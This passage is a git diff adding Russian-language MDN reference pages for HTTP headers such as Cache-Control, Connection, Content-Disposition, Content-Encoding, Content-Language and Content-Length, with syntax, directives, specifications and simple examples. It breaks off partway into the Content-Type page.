+<h3 id="Инструкции_кэширования_для_ответов">Инструкции кэширования для ответов</h3>
+
+<p>Стандартные инструкции <code>Cache-Control</code>, которые могут задаваться сервером для HTTP ответа.</p>
+
+<pre class="syntaxbox">Cache-Control: must-revalidate
+Cache-Control: no-cache
+Cache-Control: no-store
+Cache-Control: no-transform
+Cache-Control: public
+Cache-Control: private
+Cache-Control: proxy-revalidate
+Cache-Control: max-age=&lt;seconds&gt;
+Cache-Control: s-maxage=&lt;seconds&gt;
+</pre>
+
+<h3 id="Расширенные_инструкции_Cache-Control">Расширенные инструкции <code>Cache-Control</code></h3>
+
+<p>Расширенные инструкции <code>Cache-Control</code> не являются частью базовых стандартов, описывающих кэширование в HTTP. В <a href="#Browser_compatibility">таблице совместимости</a> указаны браузеры, которые поддерживают расширенные инструкции.</p>
+
+<pre class="syntaxbox">Cache-Control: immutable
+Cache-Control: stale-while-revalidate=&lt;seconds&gt;
+Cache-Control: stale-if-error=&lt;seconds&gt;
+</pre>
+
+<h2 id="Инструкции">Инструкции</h2>
+
+<h3 id="Управление_кэшированием">Управление кэшированием</h3>
+
+<dl>
+ <dt><code>public</code></dt>
+ <dd>Указывает, что ответ может быть закэширован в любом кэше.</dd>
+ <dt><code>private</code></dt>
+ <dd>Указывает, что ответ предназначен для одного пользователя и не должен помещаться в разделяемый кэш. Частный кэш может хранить ресурс.</dd>
+ <dt><code>no-cache</code></dt>
+ <dd>Указывает на необходимость отправить запрос на сервер для валидации ресурса перед использованием закешированных данных.</dd>
+ <dt><code>only-if-cached</code></dt>
+ <dd>Указывает на необходимость использования только закэшированных данных. Запрос на сервер не должен посылаться.</dd>
+</dl>
+
+<h3 id="Управление_временем_жизни">Управление временем жизни</h3>
+
+<dl>
+ <dt><code>max-age=&lt;seconds&gt;</code></dt>
+ <dd>Задает максимальное время в течение которого ресурс будет считаться актуальным. В отличие от <code>Expires</code>, данная инструкция является относительной по отношению ко времени запроса.</dd>
+ <dt><code>s-maxage=&lt;seconds&gt;</code></dt>
+ <dd>Переопределяет <code>max-age</code> или заголовок <code>Expires</code>, но применяется только для разделяемых кэшей (например, прокси) и игнорируется частными кэшами.</dd>
+ <dt><code>max-stale[=&lt;seconds&gt;]</code></dt>
+ <dd>Указывает, что клиент хочет пролучить ответ, для которого было превышено время устаревания. Дополнительно может быть указано значение в секундах, указывающее, что ответ не должен быть просрочен более чем на указанное значение.</dd>
+ <dt><code>min-fresh=&lt;seconds&gt;</code></dt>
+ <dd>Указывает, что клиент хочет получить ответ, который будет актуален как минимум указанное количество секунд.</dd>
+ <dt><code>stale-while-revalidate=&lt;seconds&gt;</code> {{experimental_inline}}</dt>
+ <dd>Указывает, что клиент хочет получить просроченный ответ, одновременно осуществляя фоновую проверку наличия свежих данных. Значение в секундах обозначает, какое время клиент желает получать просроченный ответ.</dd>
+ <dt><code>stale-if-error=&lt;seconds&gt;</code> {{experimental_inline}}</dt>
+ <dd>...</dd>
+</dl>
+
+<h3 id="Управление_ревалидацией_и_перезагрузкой">Управление ревалидацией и перезагрузкой</h3>
+
+<dl>
+ <dt><code>must-revalidate</code></dt>
+ <dd>Кэш должен проверить статус устаревших ресурсов перед их использованием. Просроченные ресурсы не должны быть использованы.</dd>
+ <dt><code>proxy-revalidate</code></dt>
+ <dd>То же самое, что <code>must-revalidate</code>, но применимо только к разделяемым кэшам (например, прокси) и игнорируется частными кэшами.</dd>
+ <dt><code>immutable</code></dt>
+ <dd>Indicates that the response body will not change over time. The resource, if unexpired, is unchanged on the server and therefore the client should not send a conditional revalidation for it (e.g. <code>If-None-Match</code> or <code>If-Modified-Since</code>) to check for updates, even when the user explicitly refreshes the page. Clients that aren't aware of this extension must ignore them as per the HTTP specification. In Firefox, <code>immutable</code> is only honored on <code>https://</code> transactions. For more information, see also this <a href="http://bitsup.blogspot.de/2016/05/cache-control-immutable.html">blog post</a>.</dd>
+</dl>
+
+<h3 id="Другие_инструкции">Другие инструкции</h3>
+
+<dl>
+ <dt><code>no-store</code></dt>
+ <dd>Кэш не должен хранить никакую информацию о запросе и ответе</dd>
+ <dt><code>no-transform</code></dt>
+ <dd>Никакие преобразования не должны применяться к ресурсу. Заголовки <code>Content-Encoding</code>, <code>Content-Range</code>, <code>Content-Type</code> не должны изменяться прокси. Непрозрачный прокси может, например, конвертировать изображения из одного формата в другой для сохранения дискового пространства или уменьшения трафика. Инструкция <code>no-transform</code> запрещает это.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Выключение_кэширования">Выключение кэширования</h3>
+
+<p>Для выключения кэширования возможно добавить следующий заголовок к ответу. Дополнительно см. заголовки <code>Expires</code> и <code>Pragma</code>.</p>
+
+<pre class="brush: bash">Cache-Control: no-cache, no-store, must-revalidate
+</pre>
+
+<h3 id="Кэширование_статического_контента">Кэширование статического контента</h3>
+
+<p>Для файлов, которые не будут изменяться обычно возможно применить агрессивное кэширование, отослав ответ с заголовком ниже. Например, такой ответ может быть послан для изображений, файлов CSS и JavaScript. Дополнительно см. заголовок <code>Expires</code>.</p>
+
+<pre class="brush: bash">Cache-Control: public, max-age=31536000</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7234")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Caching</td>
+  </tr>
+  <tr>
+   <td>{{RFC("5861")}}</td>
+   <td>HTTP Cache-Control Extensions for Stale Content</td>
+  </tr>
+  <tr>
+   <td>{{RFC("8246")}}</td>
+   <td>HTTP Immutable Responses</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузеров">Совместимость браузеров</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Cache-Control")}}</p>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Caching_FAQ">HTTP Caching FAQ</a></li>
+ <li>{{HTTPHeader("Age")}}</li>
+ <li>{{HTTPHeader("Expires")}}</li>
+ <li>{{HTTPHeader("Pragma")}}</li>
+</ul>
diff --git a/files/ru/web/http/заголовки/connection/index.html b/files/ru/web/http/заголовки/connection/index.html
new file mode 100644
index 0000000000..48a5a9dce5
--- /dev/null
+++ b/files/ru/web/http/заголовки/connection/index.html
@@ -0,0 +1,53 @@
+---
+title: Connection
+slug: Web/HTTP/Заголовки/Connection
+tags:
+  - HTTP
+  - Веб
+  - Заголовки
+  - Справка
+translation_of: Web/HTTP/Headers/Connection
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Заголовок <strong><code>Connection</code></strong> определяет, остается ли сетевое соединение активным после завершения текущей транзакции (запроса). Если в запросе отправлено значение <code>keep-alive</code>, то соединение остается и не завершается, позволяя выполнять последующие запросы на тот же сервер.</p>
+
+<div class="blockIndicator warning">
+<p>Заголовки, связанные с соединением, такие как {{HTTPHeader("Connection")}} и {{HTTPHeader("Keep-Alive")}}, <a href="https://tools.ietf.org/html/rfc7540#section-8.1.2.2">запрещены в HTTP/2</a>. Chrome и Firefox просто игнорируют эти заголовки в HTTP/2 ответах, однако Safari, следуя требованиям HTTP/2, вообще не будет загружать какие-либо ответы, которые содержат данные заголовки.</p>
+</div>
+
+<p>За исключением стандартных заголовков <a href="https://en.wikipedia.org/wiki/Hop-by-hop_transport">«hop-by-hop»</a> ({{HTTPHeader("Keep-Alive")}}, {{HTTPHeader("Transfer-Encoding")}}, {{HTTPHeader("TE")}}, {{HTTPHeader("Connection")}}, {{HTTPHeader("Trailer")}}, {{HTTPHeader("Upgrade")}}, {{HTTPHeader("Proxy-Authorization")}} и {{HTTPHeader("Proxy-Authenticate")}}), любые «hop-by-hop» заголовки, используемые в сообщении, должны быть перечислены в заголовке <code>Connection</code> так, чтобы первый прокси знал, как их использовать, и не передавал дальше. Также могут быть перечислены стандартные «hop-by-hop» заголовки (часто это относится к {{HTTPHeader("Keep-Alive")}}, но это необязательно).</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Тип заголовка</th>
+   <td>{{Glossary("General header", "Общий заголовок")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name", "Запрещенное имя заголовка")}}</th>
+   <td>да</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">Connection: keep-alive
+Connection: close
+</pre>
+
+<h2 id="Указания">Указания</h2>
+
+<dl>
+ <dt><code>close</code></dt>
+ <dd>Указывает, что клиент или сервер хотели бы закрыть соединение. Это значение по умолчанию для запросов HTTP/1.0.</dd>
+ <dt>любой список HTTP заголовков через запятую[Обычно только <code>keep-alive</code>]</dt>
+ <dd>Указывает, что клиент хотел бы сохранить соединение активным. Постоянное соединение используется по умолчанию для запросов HTTP/1.1. Список заголовков -- это имена заголовка, которые удаляются первым непрозрачным прокси-сервером или промежуточным кэшем: эти заголовки определяют соединение между источником и первым объектом, а не целевым узлом.</dd>
+</dl>
+
+<h2 id="Совместимость_браузеров">Совместимость браузеров</h2>
+
+<p class="hidden">Таблица совместимости на этой странице генерируется из структурированных данных. Если вы хотите внести свой вклад в данные, пожалуйста авторизуйтесь на <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам pull request.</p>
+
+<p>{{Compat("http.headers.Connection")}}</p>
diff --git a/files/ru/web/http/заголовки/content-disposition/index.html b/files/ru/web/http/заголовки/content-disposition/index.html
new file mode 100644
index 0000000000..406cc0720c
--- /dev/null
+++ b/files/ru/web/http/заголовки/content-disposition/index.html
@@ -0,0 +1,137 @@
+---
+title: Content-Disposition
+slug: Web/HTTP/Заголовки/Content-Disposition
+tags:
+  - HTTP
+  - HTTP-заголовок
+  - header
+translation_of: Web/HTTP/Headers/Content-Disposition
+---
+<div>{{HTTPSidebar}}</div>
+
+<div>В обычном HTTP-ответе заголовок <code><strong>Content-Disposition</strong></code> является индикатором того, что ожидаемый контент ответа будет отображаться в браузере, как вэб-страница или часть вэб-страницы, или же как вложение, которое затем может быть скачано и сохранено локально.</div>
+
+<div> </div>
+
+<p>В случае, если тело HTTP-запроса типа <code>multipart/form-data</code>, то общий заголовок <strong><code>Content-Disposition</code></strong> используется для каждой из составных частей multipart тела для указания дополнительных сведений по полю, к которому применён заголовок. Каждая часть отделена с помощью <em>границы (boundary)</em>, определённой в заголовке {{HTTPHeader("Content-Type")}}. <code>Content-Disposition,</code> используемый непосредственно для всего тела HTTP-запроса, ни на что не влияет.</p>
+
+<p>Заголовок <code>Content-Disposition</code> определён для более широкого контекста MIME-сообщений для e-mail, поэтому для HTTP-форм и {{HTTPMethod("POST")}}-запросов используются только несколько допустимых параметров. В контексте HTTP можно использовать только значение <code>form-data</code>, а также опциональные директивы <code>name</code> и <code>filename</code>.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Тип заголовка</th>
+   <td>{{Glossary("Response header", "Заголовок ответа")}} (для тела ответа простого типа)<br>
+    {{Glossary("General header", "Основной заголовок")}} (для каждой части составного тела)</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name", "Запрещённое имя заголовка")}}</th>
+   <td>нет</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<h3 id="Как_заголовок_ответа_с_обычным_телом">Как заголовок ответа с обычным телом</h3>
+
+<p>Первым параметром в контексте HTTP должен быть или <code>inline</code> (это значение по умолчанию, указывающее, что контент должен быть отображен внутри вэб-страницы или как вэб-страница) или <code>attachment</code> (указывает на скачиваемый контент; большинство браузеров отображают диалог "Сохранить как" с заранее заполненным именем файла из параметра <code>filename</code>, если он задан).</p>
+
+<pre class="syntaxbox">Content-Disposition: inline
+Content-Disposition: attachment
+Content-Disposition: attachment; filename="filename.jpg"</pre>
+
+<h3 id="Как_заголовок_в_составном_теле">Как заголовок в составном теле</h3>
+
+<p>Первым параметром в контексте HTTP всегда является <code>form-data</code>; дополнительные параметры регистронезависимые и могут иметь аргументы, значения которых следуют после знака <code>'='</code> и берутся в кавычки. Несколько параметров разделяются через точку с запятой (<code>';'</code>).</p>
+
+<pre class="syntaxbox">Content-Disposition: form-data
+Content-Disposition: form-data; name="fieldName"
+Content-Disposition: form-data; name="fieldName"; filename="filename.jpg"</pre>
+
+<h3 id="Директивы">Директивы</h3>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>За параметром следует строка с именем HTML-поля на форме, к которому относится данная часть составного тела. При работе с несколькими файлами в том же самом поле (например, атрибуты {{htmlattrxref("multiple", "input")}} элемента <code>{{HTMLElement("input","&lt;input type=file&gt;")}}</code>), могут быть несколько частей с одинаковым именем.<br>
+ Если <code>name</code> имеет значение <code>'_charset_'</code>, указывающее, что данная часть не является HTML-полем, то она содержит кодировку по умолчанию для всех частей, в которых явно кодировка не указана.</dd>
+ <dt><code>filename</code></dt>
+ <dd>За параметром указана строка с оригинальным именем передаваемого файла. Это имя опционально и не может слепо использоваться приложением: информация о пути должна быть очищена и должно быть сделано преобразование к файловой системе сервера. Этот параметр предоставляет в основном справочную информацию. Когда используется в комбинации с <code>Content-Disposition: attachment</code>, это значение будет использовано как имя файла по умолчанию для диалога "Сохранить как".</dd>
+ <dt>filename*</dt>
+ <dd>
+ <p>Оба параметра "filename" и "filename*" отличаются только тем, что "filename*"  использует кодирование, определённое в <a href="https://tools.ietf.org/html/rfc5987">RFC 5987</a>. Когда присутствуют оба параметра "filename" и "filename*" в одном поле заголовке, то преимущество имеет "filename*" над "filename", но только в случае когда оба значения корректны.</p>
+ </dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Ответ, вызывающий диалог "Сохранить как":</p>
+
+<pre>200 OK
+Content-Type: text/html; charset=utf-8
+Content-Disposition: attachment; filename="cool.html"
+Content-Length: 22
+
+&lt;HTML&gt;Save me!&lt;/HTML&gt;
+</pre>
+
+<p>Простой HTML-файл будет сохранён как обычное сохранение с диалогом "Сохранить как" вместо отображения контента файла в браузере. Большинство браузеров предложат его сохранить под именем <code>cool.html</code> (это поведение по умолчанию).</p>
+
+<p>Пример HTML-формы, переданной через POST с использованием формата <code>multipart/form-data</code>, который использует заголовок <code>Content-Disposition</code>:</p>
+
+<pre>POST /test.html HTTP/1.1
+Host: example.org
+Content-Type: multipart/form-data;boundary="boundary"
+
+--boundary
+Content-Disposition: form-data; name="field1"
+
+value1
+--boundary
+Content-Disposition: form-data; name="field2"; filename="example.txt"
+
+value2
+--boundary--</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Название</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7578")}}</td>
+   <td>Returning Values from Forms: multipart/form-data</td>
+  </tr>
+  <tr>
+   <td>{{RFC("6266")}}</td>
+   <td>Use of the Content-Disposition Header Field in the Hypertext Transfer Protocol (HTTP)</td>
+  </tr>
+  <tr>
+   <td>{{RFC("2183")}}</td>
+   <td>Communicating Presentation Information in Internet Messages: The Content-Disposition Header Field</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Content-Disposition")}}</p>
+
+<h2 id="Замечания_по_совместимости">Замечания по совместимости</h2>
+
+<ul>
+ <li>Firefox 5 обрабатывает <code>Content-Disposition заголовка</code> HTTP-ответа response более эффективно, если присутствуют оба параметра <code>filename</code> и <code>filename*</code>; он просматривает сначала все предоставленные имена <code>filename*</code>, даже есть вначале идут <code>filename</code>. Ранее использовалось первое найденное имя. See {{bug(588781)}}.</li>
+</ul>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/HTML/Forms">HTML-формы</a></li>
+ <li>{{HTTPHeader("Content-Type")}} определяет границу для частей составного тела.</li>
+ <li>Интерфейс {{domxref("FormData")}} используется для обработки данных форм для использования в API {{domxref("XMLHttpRequest")}}.</li>
+</ul>
diff --git a/files/ru/web/http/заголовки/content-encoding/index.html b/files/ru/web/http/заголовки/content-encoding/index.html
new file mode 100644
index 0000000000..0f54a68395
--- /dev/null
+++ b/files/ru/web/http/заголовки/content-encoding/index.html
@@ -0,0 +1,107 @@
+---
+title: Content-Encoding
+slug: Web/HTTP/Заголовки/Content-Encoding
+tags:
+  - Content-Encoding
+  - HTTP
+  - Headers
+translation_of: Web/HTTP/Headers/Content-Encoding
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong><code>Content-Encoding</code></strong> - это сущность заголовка, используемая для сжатия медиа-типа. При наличии ее значение определяет кодировку, примененную к сущности <strong><code>body</code></strong>. Это позволяет клиенту информацию как декодировать <strong><code>body</code></strong>, чтобы получить медиа-тип ссылающийся на  заголовок <code><strong>Content-Type </strong></code></p>
+
+<p>Рекомендация - сжимать данные насколько это возможно и следовательно использовать это поле, но некоторые типы данных, такие как изображения в формате jpeg, уже сжаты. Иногда, использование дополнительного сжатия не уменьшает размер пакета и даже может сделать загрузку дольше.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Entity header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">Content-Encoding: gzip
+Content-Encoding: compress
+Content-Encoding: deflate
+Content-Encoding: identity
+Content-Encoding: br
+
+// Multiple, in the order in which they were applied
+Content-Encoding: gzip, identity
+Content-Encoding: deflate, gzip
+</pre>
+
+<h2 id="Директивы">Директивы</h2>
+
+<dl>
+ <dt><code>gzip</code></dt>
+ <dd>A format using the <a class="external" href="http://en.wikipedia.org/wiki/LZ77_and_LZ78#LZ77">Lempel-Ziv coding</a> (LZ77), with a 32-bit CRC. This is the original format of the UNIX <em>gzip</em> program. The HTTP/1.1 standard also recommends that the servers supporting this content-encoding should recognize <code>x-gzip</code> as an alias, for compatibility purposes.</dd>
+ <dt><code>compress</code></dt>
+ <dd>A format using the <a class="external" href="http://en.wikipedia.org/wiki/LZW">Lempel-Ziv-Welch</a> (LZW) algorithm. The value name was taken from the UNIX <em>compress</em> program, which implemented this algorithm. Like the compress program, which has disappeared from most UNIX distributions, this content-encoding is not used by many browsers today, partly because of a patent issue (it expired in 2003).</dd>
+ <dt><code>deflate</code></dt>
+ <dd>Using the <a class="external" href="http://en.wikipedia.org/wiki/Zlib">zlib</a> structure (defined in <a class="external" href="http://tools.ietf.org/html/rfc1950">RFC 1950</a>) with the <a class="external" href="http://en.wikipedia.org/wiki/DEFLATE"><em>deflate</em></a> compression algorithm (defined in <a class="external" href="http://tools.ietf.org/html/rfc1951">RFC 1951</a>).</dd>
+ <dt><code>identity</code></dt>
+ <dd>Indicates the identity function (i.e., no compression or modification). This token, except if explicitly specified, is always deemed acceptable.</dd>
+ <dt><code>br</code></dt>
+ <dd>A format using the <a href="https://en.wikipedia.org/wiki/Brotli">Brotli</a> algorithm.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Compressing_with_gzip">Compressing with gzip</h3>
+
+<p>On the client side, you can advertise a list of compression schemes that will be sent along in an HTTP request. The {{HTTPHeader("Accept-Encoding")}} header is used for negotiating content encoding.</p>
+
+<pre>Accept-Encoding: gzip, deflate</pre>
+
+<p>The server responds with the scheme used, indicated by the <code>Content-Encoding</code> response header.</p>
+
+<pre>Content-Encoding: gzip</pre>
+
+<p>Note that the server is not obligated to use any compression method. Compression highly depends on server settings and used server modules.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{RFC("7932", "Brotli Compressed Data Format")}}</td>
+   <td>Brotli Compressed Data Format</td>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "Content-Encoding", "3.1.2.2")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+  <tr>
+   <td>{{RFC("2616", "Content-Encoding", "14.11")}}</td>
+   <td>Content-Encoding</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Content-Encoding")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{HTTPHeader("Accept-Encoding")}}</li>
+ <li>{{HTTPHeader("Transfer-Encoding")}}</li>
+</ul>
diff --git a/files/ru/web/http/заголовки/content-language/index.html b/files/ru/web/http/заголовки/content-language/index.html
new file mode 100644
index 0000000000..dfe3007fc9
--- /dev/null
+++ b/files/ru/web/http/заголовки/content-language/index.html
@@ -0,0 +1,103 @@
+---
+title: Content-Language
+slug: Web/HTTP/Заголовки/Content-Language
+translation_of: Web/HTTP/Headers/Content-Language
+---
+<div>{{HTTPSidebar}}</div>
+
+<p> </p>
+
+<p>{{Glossary("HTTP-заголовок")}} <strong><code>Content-Language</code></strong> используется для описания языков контента доступных для аудитории, позволяя таким образом пользователю выбрать язык в соответствии со своими предпочтениями.</p>
+
+<p>Например, если установлен заголовок "<code>Content-Language: de-DE</code>", это говорит о том, что документ предназначен для носителей немецкого языка (однако это не означает, что документ написан на немецком языке). Это может быть документ на английском языке в рамках языкового курса для носителей немецкого языка).</p>
+
+<p>Если заголовок <code>Content-Language</code> не указан, по умолчанию предполагается, что содержимое предназначено для всех языковых аудиторий. Также допустимо использование в заголовке нескольких языковых тегов. Заголовок <code>Content-Language</code> может применяться не только к текстовым документам но и другим типам контента.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Entity header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Simple response header", "CORS-safelisted response-header")}}</th>
+   <td>yes</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Simple header", "CORS-safelisted request-header")}}</th>
+   <td>yes</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">Content-Language: de-DE
+Content-Language: en-US
+Content-Language: de-DE, en-CA
+</pre>
+
+<h2 id="Директивы">Директивы</h2>
+
+<dl>
+ <dt><code>language-tag</code></dt>
+ <dd>Несколько языковых тегов разделяются запятыми. Каждый языковой тег представляет собой последовательность из одного или нескольких подтегов без учета регистра, разделенных символом дефиса ("<code>-</code>", <code>%x2D</code>).</dd>
+ <dd>В большинстве случаев языковой тег состоит из подтега основного языка, который идентифицирует широкое семейство родственных языков (например, "<code>en</code>" = English), за которым дополнительно следует ряд подтегов, уточняющих или сужающих диапазон этого языка (например, "<code>en-CA</code>" = вариант диалекта английского языка, использующегося в Канаде).</dd>
+</dl>
+
+<div class="note">
+<p><strong>Примечание:</strong> Языковые теги формально описаны в <a href="https://tools.ietf.org/html/rfc5646">RFC 5646</a>, который в свою очередь опирается на стандарт <a href="https://en.wikipedia.org/wiki/ISO_639">ISO 639</a> (точнее на <a href="https://en.wikipedia.org/wiki/List_of_ISO_639-1_codes">ISO 639-1 code list</a>) в части перечня используемых <a href="https://en.wikipedia.org/wiki/Language_code">language codes</a>.</p>
+</div>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Указание_использованного_языка_документа">Указание использованного языка документа</h3>
+
+<p>Глобальный аттрибут <code><a href="/en-US/docs/Web/HTML/Global_attributes/lang">lang</a></code> используется на HTML элементах для указания языка всего HTML документа или его частей.</p>
+
+<pre class="brush: html">&lt;html lang="de"&gt;</pre>
+
+<p><strong>Не </strong> используйте этот мета элемент как здесь для констатирования языка документа:</p>
+
+<pre class="brush: html example-bad">&lt;!-- /!\ Это плохая практика --&gt;
+&lt;meta http-equiv="content-language" content="de"&gt;</pre>
+
+<h3 id="Указание_целевой_аудитории_для_ресурса">Указание целевой аудитории для ресурса</h3>
+
+<p><code>Content-Language</code> заголовок используется для определения целевой аудитории страницы и может указывать на более чем 1 язык.</p>
+
+<pre>Content-Language: de, en</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Заголовок</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "Content-Language", "3.1.3.2")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами"><strong>Совместимость с браузерами</strong></h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Content-Language")}}</p>
+
+<h2 id="Смотрите_также"><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Functions/set#%D0%A1%D0%BC%D0%BE%D1%82%D1%80%D0%B8%D1%82%D0%B5_%D1%82%D0%B0%D0%BA%D0%B6%D0%B5">Смотрите также</a></h2>
+
+<ul>
+ <li>{{HTTPHeader("Accept-Language")}}</li>
+ <li>
+  <p><a href="https://www.w3.org/International/questions/qa-http-and-lang.en">HTTP headers, meta elements and language information</a></p>
+ </li>
+</ul>
diff --git a/files/ru/web/http/заголовки/content-length/index.html b/files/ru/web/http/заголовки/content-length/index.html
new file mode 100644
index 0000000000..0b2c087b65
--- /dev/null
+++ b/files/ru/web/http/заголовки/content-length/index.html
@@ -0,0 +1,67 @@
+---
+title: Content-Length
+slug: Web/HTTP/Заголовки/Content-Length
+tags:
+  - HTTP
+  - Headers
+  - Reference
+  - Длина контента
+  - Заголовок
+  - запрос
+translation_of: Web/HTTP/Headers/Content-Length
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Заголовок <strong><code>Content-Length</code></strong> указывает размер отправленного получателю тела объекта в байтах.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Тип заголовка</th>
+   <td>{{Glossary("Entity header", "Заголовок сущности")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Можно не передавать</th>
+   <td>да</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">Content-Length: &lt;длина&gt;
+</pre>
+
+<h2 id="Директивы">Директивы</h2>
+
+<dl>
+ <dt>&lt;длина&gt;</dt>
+ <dd>Байты.</dd>
+</dl>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Название</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7230", "Content-Length", "3.3.2")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_совместимость">Браузерная совместимость</h2>
+
+<p class="hidden">Таблица совместимостина этой странице сгенерирована из структурированных данных. Если вы хотите добавить данные, пожалуйста отправьте пулл-реквест в репозиторий <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a></p>
+
+<p>{{Compat("http.headers.Content-Length")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPHeader("Transfer-Encoding")}}</li>
+</ul>
diff --git a/files/ru/web/http/заголовки/content-type/index.html b/files/ru/web/http/заголовки/content-type/index.html
new file mode 100644
index 0000000000..a6900ebab3
--- /dev/null
+++ b/files/ru/web/http/заголовки/content-type/index.html
@@ -0,0 +1,111 @@
+---
+title: Content-Type
+slug: Web/HTTP/Заголовки/Content-Type
+translation_of: Web/HTTP/Headers/Content-Type
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Заголовок-сущность <strong><code>Content-Type</code></strong> используется для того, чтобы определить {{Glossary("MIME type","MIME тип")}} ресурса.</p>
+
+<p>В ответах сервера заголовок <code>Content-Type</code> сообщает клиенту, какой будет тип передаваемого контента. В некоторых случаях браузеры пытаются сами определить MIME тип передаваемого контента, но их реакция может быть неадекватной. Чтобы предотвратить такие ситуации, Вы можете установить в заголовке {{HTTPHeader("X-Content-Type-Options")}} значение <code>nosniff</code>.</p>
+
+<p>В запросах (таких, как {{HTTPMethod("POST")}} или {{HTTPMethod("PUT")}}), клиент сообщает серверу тип отправляемых данных.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Тип заголовка</th>
+   <td>{{Glossary("Entity header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>нет</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Simple response header", "CORS-safelisted response-header")}}</th>
+   <td>да</td>
